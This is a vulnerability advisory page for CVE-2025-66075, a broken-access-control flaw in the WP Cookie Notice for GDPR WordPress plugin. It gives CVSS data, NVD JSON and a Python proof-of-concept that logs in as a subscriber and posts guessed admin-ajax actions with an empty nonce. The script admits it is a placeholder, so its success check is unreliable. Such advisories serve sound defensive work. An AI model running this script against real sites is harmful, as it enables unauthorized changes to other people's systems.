Security Vulnerability Report
中文
CVE-2025-66075 CVSS 4.3 MEDIUM

CVE-2025-66075

Published: 2025-11-21 13:15:49
Last Modified: 2026-04-27 18:16:34

Description

Missing Authorization vulnerability in WP Legal Pages WP Cookie Notice for GDPR, CCPA & ePrivacy Consent gdpr-cookie-consent allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Cookie Notice for GDPR, CCPA & ePrivacy Consent: from n/a through <= 4.0.3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WP Cookie Notice for GDPR, CCPA & ePrivacy Consent <= 4.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66075 PoC - Broken Access Control in WP Cookie Notice Plugin # Target: WordPress site with WP Cookie Notice plugin <= 4.0.3 TARGET_URL = "http://target-wordpress-site.com" # Low-privilege user credentials (subscriber role) USERNAME = "lowpriv_user" PASSWORD = "password123" def get_auth_cookie(): """Login as low-privilege user to obtain authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } session = requests.Session() resp = session.post(login_url, data=data) return session.cookies.get_dict() def exploit_broken_access_control(cookies): """Exploit the missing authorization vulnerability""" # Target the plugin's admin-ajax.php endpoint # This is a placeholder - actual exploitation requires identifying # the specific vulnerable function in the plugin exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common vulnerable actions in cookie consent plugins vulnerable_actions = [ 'gdpr_cookie_notice_save_settings', 'wplp_save_legal_pages', 'cookie_notice_save', 'gdpr_save_options' ] for action in vulnerable_actions: payload = { 'action': action, 'nonce': '', # May not be required due to missing auth check 'settings': 'malicious_settings' } try: resp = requests.post(exploit_url, data=payload, cookies=cookies) if resp.status_code == 200 and 'success' in resp.text.lower(): print(f"[!] Potential vulnerability confirmed with action: {action}") print(f"Response: {resp.text[:200]}") return True except Exception as e: print(f"Error testing {action}: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-66075 PoC - WP Cookie Notice Broken Access Control") print("[*] Target: WP Cookie Notice for GDPR, CCPA & ePrivacy Consent <= 4.0.3") cookies = get_auth_cookie() if cookies: print("[+] Successfully authenticated as low-privilege user") if exploit_broken_access_control(cookies): print("[!] Vulnerability exploitable!") else: print("[-] Exploitation failed or plugin not vulnerable") else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66075", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:48.523", "lastModified": "2026-04-27T18:16:33.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Legal Pages WP Cookie Notice for GDPR, CCPA & ePrivacy Consent gdpr-cookie-consent allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Cookie Notice for GDPR, CCPA & ePrivacy Consent: from n/a through <= 4.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gdpr-cookie-consent/vulnerability/wordpress-wp-cookie-notice-for-gdpr-ccpa-eprivacy-consent-plugin-4-0-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}